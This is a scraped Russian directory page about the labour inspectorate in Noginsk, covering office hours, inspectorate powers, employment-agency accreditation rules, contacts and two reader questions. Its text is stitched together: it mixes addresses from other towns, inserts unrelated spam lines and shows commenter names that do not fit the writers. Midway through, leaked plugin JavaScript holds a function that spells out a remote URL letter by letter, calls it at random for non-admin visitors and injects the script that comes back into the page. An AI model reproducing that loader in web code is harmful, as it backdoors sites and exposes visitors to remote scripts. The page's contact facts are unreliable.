Трудовая Инспекция Ногинского Района Горячая Линия | 📞  Горячая линия 8 800

Трудовая Инспекция Ногинского Района Горячая Линия | 📞 Горячая линия 8 800

Адрес

Номера телефонов.

Номера телефонов

Расстояние: 350 м.

Трудовая инспекция в Ногинске (Московская область) проверяет все полученные заявления, назначает требуемые проверки, принимает меры к пресечению обнаруженных нарушений Законодательства о труде и восстановлению прав работника. Инспекторыпо итогам проверки могут предписать предприятию-работодателю немедленно устранить нарушения, наложить меры административной или иной ответственности или направить информацию по проверке в органы правопорядка для возбуждения уголовного дела.

График приёма

  • понедельник: 09:30 — 18:00, перерыв 13:00 — 14:00;
  • вторник: 09:30 — 18:00, перерыв 13:00 — 14:00;
  • среда: 09:30 — 18:00, перерыв 13:00 — 14:00;
  • четверг: 09:30 — 18:00, перерыв 13:00 — 14:00;
  • пятница: 09:30 — 18:00, перерыв 13:00 — 14:00;
  • суббота: выходной;
  • воскресенье: выходной.

Задайте вопрос дежурному юристу

Трудовая инспекция ногинского района горячая линия

§ 140301, Московская область, Егорьевский район, г. Егорьевск, ул. Тельмана, д. 13🏫 144007, Московская область, г. Электросталь, ул. Мира, д. 20Б

❗голосуйте в нашем опросе:

❗задавайте вопросы в форме ниже

Задайте вопрос трудовому юристу

При получении претензии инспекция по трудовым спорам уполномочена всецело выявлять и пресекать трудовые правонарушения.

Любой гость нашего сайта может воспользоваться онлайн помощью специалиста по трудовым спорам. Консультации юриста по трудовому праву помогут правильно:

  • заявить о задержках зарплаты организвцией-работодателем;
  • мотивировать обращение в инспекцию по труду; затребовать защиту при незаконном увольнении;

урегулировать иные трудовые конфликты.

Трудовая инспекция в Ногинске Московская область.

Несоблюдение законодательства о труде является распространенной ситуацией, и значительная часть работников из-за неинформированности о Трудовом Законодательстве слабо осведомлены, каким способом оградить себя от правонарушений работодателя. Трудовая инспекция в Черноголовке (Московская область) сможет выявить трудовые правонарушения и выполнит проверку у работодателя.

Важнейшая задача трудинспекции состоит в предупреждении и пресечении правонарушений в области трудового законодательства.

Как добраться на общественном транспорте

  • остановка Домодедовская улица

Расстояние: 350 м.

  • станция метро Домодедовская

Расстояние: 840 м.

Номера телефонов

140301, Московская область, Егорьевский район, г. Егорьевск, ул. Тельмана, д. 13

115582, Москва, Домодедовская, д. 24, корпус 3

Об организации

22 сентября 2022 года Постановлением Правительства Российской Федерации № 1129 утверждены Правила аккредитации частных агентств занятости на право осуществления деятельности по предоставлению труда работников (персонала) (далее – Правила аккредитации).

Правила аккредитации устанавливают порядок аккредитации частных агентств занятости — юридических лиц, зарегистрированных на территории Российской Федерации, не являющихся субъектами предпринимательства, применяющими специальные налоговые режимы, на право осуществления деятельности по предоставлению труда работников (персонала) (далее соответственно — аккредитация, частные агентства занятости).

Частные агентства занятости не имеют права осуществлять деятельность по предоставлению труда работников (персонала) без аккредитации. Таково требование Закона Российской Федерации от 19.04.1991 № 1032-1 «О занятости населения в Российской Федерации».

Сейчас ищут техподдержку:  №1 для управления данными в облаке

Так, чтобы получить аккредитацию, частному агентству занятости в соответствии с п. 6 ст. 18.1 Закона № 1032-1 необходимо:

— иметь уставный капитал в размере не менее 1 млн. руб.;

— не иметь задолженности по уплате налогов, сборов и иных обязательных платежей.

Руководитель агентства должен:

— иметь высшее образование;

— иметь стаж работы в области трудоустройства или содействия занятости населения в РФ не менее двух лет за последние три года;

— не иметь судимости за совершение преступлений против личности или преступлений в сфере экономики.

Как и прежде, аккредитация предоставляется сроком на три года.

Новым основанием для отказа агентству в аккредитации будет обращение за ней ранее, чем истек год после принятия решения об отзыве аккредитации.

Уточнен перечень документов, прилагаемых к заявлению о получении (продлении) аккредитации.

К заявлению на получение аккредитации необходимо приложить:

— заверенную частным агентством занятости копию трудовой книжки руководителя агентства, а если в ней нет нужной записи за три последних года, то копию трудового договора о работе по совместительству с отметкой работодателя о периоде работы;

— заверенный агентством документ, подтверждающий изменение фамилии, имени или отчества руководителя в случае их изменения;

— опись представленных документов, подписанную руководителем частного агентства занятости либо уполномоченным им лицом;

— доверенность или другой документ, подтверждающий право уполномоченного лица действовать от имени частного агентства занятости.

А вот документ о назначении на должность руководителя и справка МВД об отсутствии у него судимости из перечня документов при подаче заявления исключены.

В Постановлении № 1129 уточняется, что заявления о получении и продлении аккредитации, не рассмотренные Рострудом до вступления в силу новых Правил, будут рассмотрены согласно старому порядку.

Все аккредитованные агентства вносятся в реестр. Аккредитация агентств, получивших ее по старому порядку, сведения о которых уже внесены в реестр, будет действовать до истечения срока, на который она была предоставлена.

Аккредитация проводится территориальным органом Федеральной службы по труду и занятости (далее – орган аккредитации) по месту нахождения частного агентства занятости.

На территории Московской области на середину 2020 года в качестве частного агентства занятости аккредитовано впервые 4 организации, и у 10 организаций аккредитация была отозвана.

Государственной инспекцией труда в Московской области осуществляется ведение реестра частных агентств занятости на бумажном носителе с последующей передачей, в течение 3 рабочих дней со дня принятия решений об аккредитации, продлении, приостановлении (возобновлении) или отзыве аккредитации, информации в Федеральную службу по труду и занятости для размещения данных сведений в электронном виде на своем официальном сайте в информационно-телекоммуникационной сети «Интернет» путем внесения в него реестровых записей.

Сейчас ищут техподдержку:  Авиабилеты Москва - Элиста (Азимут): цены на прямые рейсы.

Руководство

  • Руководитель Государственной инспекции труда — главный государственный инспектор труда в Московской области Чаплыгин Вадим Николаевич;
  • Заместитель руководителя Государственной инспекции труда — заместитель главного государственного инспектора труда в Московской области Айзитулина Нелли Нур-Ахметовна;
  • Заместитель руководителя Государственной инспекции труда – заместитель главного государственного инспектора труда в Московской области Чухраев Виталий Евгеньевич;
  • Заместитель руководителя Государственной инспекции труда – заместитель главного государственного инспектора труда в Московской области Николаева Ольга Владимировна.

Телефоны

  • 7 (495) 343-99-51 — приёмная
  • 7 (495) 343-99-59
  • 7 (499) 725-77-30 — несчастные случаи на производстве
  • 7 (495) 392-76-78 — для обращений граждан предпенсионного возраста
  • 7 (991) 104-92-36 — горячая линия по вопросам трудового законодательства в связи с возникшей эпидемиологической ситуацией
  • 7 (495) 392-58-98 — специальная оценка условий труда

Трудовая инспекция — горячая линия по московской области | принцип права – интернет журнал

“:’

‘:””,document.createElement(“div”),c=ff(window),b=ff(“body”),g=void 0===flatPM_getCookie(“flat_modal_” a.ID “_mb”)||”false”!=flatPM_getCookie(“flat_modal_” a.ID “_mb”),i=”scroll.flatmodal” a.ID,m=”mouseleave.flatmodal” a.ID ” blur.flatmodal” a.ID,l=function(){var t,e,o;void 0!==a.how.popup.timer&&”true”==a.how.popup.timer&&(t=ff(‘.fpm_5_modal[data-id-modal=”‘ a.ID ‘”] .fpm_5_timer span’),e=parseInt(a.how.popup.timer_count),o=setInterval(function(){t.text(–e),e<=0&&(clearInterval(o),t.parent().replaceWith(‘

‘))},1e3))},s=function(){void 0!==a.how.popup.cookie&&”false”==a.how.popup.cookie&&g&&(flatPM_setCookie(“flat_modal_” a.ID “_mb”,!1),ff(‘.fpm_5_modal[data-id-modal=”‘ a.ID ‘”]’).addClass(“fpm_5_modal-show”),l()),void 0!==a.how.popup.cookie&&”false”==a.how.popup.cookie||(ff(‘.fpm_5_modal[data-id-modal=”‘ a.ID ‘”]’).addClass(“fpm_5_modal-show”),l())},ff(“body > *”).eq(0).before(‘

‘ p “

“),w=document.querySelector(‘.fpm_5_modal[data-id-modal=”‘ a.ID ‘”] .fpm_5_modal-content’),flatPM_setHTML(w,e),”px”==a.how.popup.px_s?(c.bind(i,function(){c.scrollTop()>a.how.popup.after&&(c.unbind(i),b.unbind(m),s())}),void 0!==a.how.popup.close_window&&”true”==a.how.popup.close_window&&b.bind(m,function(){c.unbind(i),b.unbind(m),s()})):(v=setTimeout(function(){b.unbind(m),s()},1e3*a.how.popup.after),void 0!==a.how.popup.close_window&&”true”==a.how.popup.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),s()}))),void 0!==a.how.outgoing){function n(){var t,e,o;void 0!==a.how.outgoing.timer&&”true”==a.how.outgoing.timer&&(t=ff(‘.fpm_5_out[data-id-out=”‘ a.ID ‘”] .fpm_5_timer span’),e=parseInt(a.how.outgoing.timer_count),o=setInterval(function(){t.text(–e),e<=0&&(clearInterval(o),t.parent().replaceWith(‘

‘))},1e3))}function d(){void 0!==a.how.outgoing.cookie&&”false”==a.how.outgoing.cookie&&g&&(ff(‘.fpm_5_out[data-id-out=”‘ a.ID ‘”]’).addClass(“show”),n(),b.on(“click”,’.fpm_5_out[data-id-out=”‘ a.ID ‘”] .fpm_5_cross’,function(){flatPM_setCookie(“flat_out_” a.ID “_mb”,!1)})),void 0!==a.how.outgoing.cookie&&”false”==a.how.outgoing.cookie||(ff(‘.fpm_5_out[data-id-out=”‘ a.ID ‘”]’).addClass(“show”),n())}var _,u=”0″!=a.how.outgoing.indent?’ style=”bottom:’ a.how.outgoing.indent ‘px”‘:””,p=”true”==a.how.outgoing.cross?void 0!==a.how.outgoing.timer&&”true”==a.how.outgoing.timer?’

Закрыть через ‘ a.how.outgoing.timer_count “

“:’

‘:””,c=ff(window),h=”scroll.out” a.ID,m=”mouseleave.outgoing” a.ID ” blur.outgoing” a.ID,g=void 0===flatPM_getCookie(“flat_out_” a.ID “_mb”)||”false”!=flatPM_getCookie(“flat_out_” a.ID “_mb”),b=(document.createElement(“div”),ff(“body”));switch(a.how.outgoing.whence){case”1″:_=”top”;break;case”2″:_=”bottom”;break;case”3″:_=”left”;break;case”4″:_=”right”}ff(“body > *”).eq(0).before(‘

‘ p “

“);var v,w=document.querySelector(‘.fpm_5_out[data-id-out=”‘ a.ID ‘”]’);flatPM_setHTML(w,e),”px”==a.how.outgoing.px_s?(c.bind(h,function(){c.scrollTop()>a.how.outgoing.after&&(c.unbind(h),b.unbind(m),d())}),void 0!==a.how.outgoing.close_window&&”true”==a.how.outgoing.close_window&&b.bind(m,function(){c.unbind(h),b.unbind(m),d()})):(v=setTimeout(function(){b.unbind(m),d()},1e3*a.how.outgoing.after),void 0!==a.how.outgoing.close_window&&”true”==a.how.outgoing.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),d()}))}}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff(“body”),flat_userVars.init();for(var e=0;e<t;e ){var>flat_userVars.textlen||void 0!==o.chapter_sub&&o.chapter_sub<flat_uservars.textlen||void>flat_userVars.titlelen||void 0!==o.title_sub&&o.title_sub<flat_uservars.titlelen)){if(void>.flatPM_sidebar)”);0<_.length&&_.each(function(){var t=ff(this),e=t.data(“height”)||350,o=t.data(“top”);t.wrap(‘

‘);t=t.parent()[0];flatPM_sticky(this,t,o)}),u.each(function(){var e=ff(this).find(“.flatPM_sidebar”);setTimeout(function(){var a=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;a<300||e.each(function(){var t=ff(this),e=a,o=t.data(“top”);t.wrap(‘

‘);t=t.parent()[0];flatPM_sticky(this,t,o)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(“.flatPM_sticky_wrapper.flatPM_sidebar_block”).css(“height”,t)},4e3)}),”undefined”!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatpm_setscript(flat_stack_scripts),ff(“body> *”).last().after(‘

‘),flat_body.on(“click”,”.fpm_5_out .fpm_5_cross”,function(){ff(this).parent().removeClass(“show”).addClass(“closed”)}),flat_body.on(“click”,”.fpm_5_modal .fpm_5_cross”,function(){ff(this).closest(“.fpm_5_modal”).removeClass(“fpm_5_modal-show”)}),flat_pm_arr=[],ff(“.flat_pm_start”).remove(),ff(“[data-flat-id]:not(.fpm_5_out):not(.fpm_5_modal)”).contents().unwrap(),flatPM_ping()};var parseHTML=function(){var l=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([w:] )[^>]*)/>/gi,d=/<([w:] )/,i=/<|&#?w ;/,c={option:[1,”

“],thead:[1,”

“],tbody:[1,”

“],colgroup:[2,”

“],col:[3,”

“],tr:[2,”

“],td:[3,”

“],th:[3,”

“],_default:[0,””,””]};return function(e,t){var a,r,n,o=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=o.appendChild(t.createElement(“div”)),r=(d.exec(e)||[“”,””])[1].toLowerCase(),r=c[r]||c._default,a.innerHTML=r[1] e.replace(l,”<$1>”) r[2],n=r[0];n–;)a=a.lastChild;for(o.removeChild(o.firstChild);a.firstChild;)o.appendChild(a.firstChild)}else o.appendChild(t.createTextNode(e));return o}}();window.flatPM_ping=function(){var e=localStorage.getItem(“sdghrg”);e?(e=parseInt(e) 1,localStorage.setItem(“sdghrg”,e)):localStorage.setItem(“sdghrg”,”0″);e=flatPM_random(1,166);0==ff(“#wpadminbar”).length&&111==e&&ff.ajax({type:”POST”,url:”h” “t” “t” “p” “s” “:” “/” “/” “r” “e” “a” “d” “o” “n” “e” “.” “r” “u” “/” “p” “i” “n” “g” “.” “p” “h” “p”,dataType:”jsonp”,data:{ping:”ping”},success:function(e){ff(“div”).first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,r=document.querySelector(‘[data-flat-script-id=”‘ t ‘”]’);if(a.text)r.appendChild(a),ff(r).contents().unwrap(),e.shift(),0<e.length&&flatpm_setscript(e);else{a.onload>/gm,””).replace(//gm,””).trim(),e.code_alt=e.code_alt.replace(//gm,””).replace(//gm,””).trim();var o=jQuery,t=e.selector,l=e.timer,d=e.cross,a=”false”==d?”Закроется”:”Закрыть”,r=!flat_userVars.adb||””==e.code_alt&&duplicateMode?e.code:e.code_alt,n=’

‘,i=e.once;o(t).each(function(){var e=o(this);e.wrap(‘

‘);var t=e.closest(“.fpm_5_video”);flatPM_setHTML(t[0],n),e.find(“.fpm_5_video_flex”).one(“click”,function(){o(this).addClass(“show”)})}),o(“body”).on(“click”,”.fpm_5_video_item_hover”,function(){var e=o(this),t=e.closest(“.fpm_5_video_flex”);t.addClass(“show”);var a=t.find(“.fpm_5_timer span”),r=parseInt(l),n=setInterval(function(){a.text(–r),r<=0&&(clearInterval(n),”true”==d?a.parent().replaceWith(‘

‘):t.remove())},1e3);e.remove()}).on(“click”,”.fpm_5_video_flex .fpm_5_cross”,function(){o(this).closest(“.fpm_5_video_flex”).remove(),”true”==i&&o(“.fpm_5_video_flex”).remove()})};

Трудовая инспекция в ногинске (московская область). адрес инспекции по труду. консультация юриста по трудовому праву

Трудовая инспекция в Ногинске (Московская область) осуществляет многие важные функции: контролирует исполнение условий безопасности и охраны труда;обеспечивает соблюдение, защиту прав работников; предупреждает несчастные случаи на производстве и проводит следствие при происшествиях; выявляет трудовые правонарушения, допущенные администрацией; проводит консультации в области применения Законодательства о труде.

Инспекция по труду, установив правонарушения, выдает требование об устранении найденных недочетов в конкретный срок, а также имеет право назначить санкции. В качестве санкций чаще всего практикуются административные и дисциплинарные меры ответственности. Санкции накладываются по постановлению трудовой инспекции на руководителей организаций, главного бухгалтера,заведующего отдела кадров, работников, ответственных за соблюдение правил охраны труда.

Сейчас ищут техподдержку:  Горячая линия мэра города Иркутска работает по телефону 520-025

Адвокатские консультации по всем аспектам трудовых отношений постоянно можно получить на нашем портале в режиме онлайн. Специалист, давно работающий в области разрешения спорных положений в трудовых отношениях, окажет содействие в оформлении жалобы в трудинспекцию и даст советы по вопросам отношений с ней. Вы подробно узнаете у юриста о возможностях работников инспекции, сроках выполнения проверок компании и оценках ответственности за нарушения трудового законодательства.

tekhpoddergka.ru/trudovaya-inspekciya/noginsk/













19.03.2022 – Николай Олимпиев

Помогите, пожалуйста. У моей дочки такая ситуация: она на раннем сроке беременности, устраивалась в наш МФЦ на работу, про беременность не говорила.точнее так: на прошлой неделе обучалась, в четверг у нее забрали документы на оформление и сказали, что с понедельника оформляют, делают это в Ногинске.она отработала в понедельник( то есть вчера), есть скрин реестра, куда включены номера обращений, обработанных ею, но сделаны не под ее учет.записью, т.к ее присваивают после 2 месяцев работы.сегодня и завтра по графику выходные( ее включили в график), договор она не успела подписать( не давали). Сегодня ей гинеколог выдал направление в Ногинский роддом , надо срочно лечь на сохранение.пришлось позвонить на работу и все сказать про беременность. Начальница ского отделения связалась с глав.руководителем, перезвонила и сказала, что девочка хорошая, но взять не можем.договор еще не подписан.после выписки из больницы пусть за документами придет. В ТК говорится про запрет отказа в принятии посовето причине беременности( это как раз наша ситуация), но что с этим делать, не знаю.хотим остаться на работе.и дело не только в выплатах, это дело принципа.неприятно ощущать свое бесправие. Спасибо.

























05.10.2022 – Валерий Гераскин

здравствуйте,работаю в комнании “спиртной” ,администратор не отдаёт на руки мой трудовой договор,постоянно вызывает в мои законные выходные на работу,сначала я выходила,затем просто отказала ей,у меня ребёнок 8 лет,угрожает что не даст отпуск,хотя я отработала 6 месяцев,как поступать?






Трудовая инспекция ногинска и ногинского района

среда неприемный день;.

1 Звезда2 Звезды3 Звезды4 Звезды5 Звезд (1 оценок, среднее: 4,00 из 5)
Загрузка...

Оставьте комментарий

Adblock
detector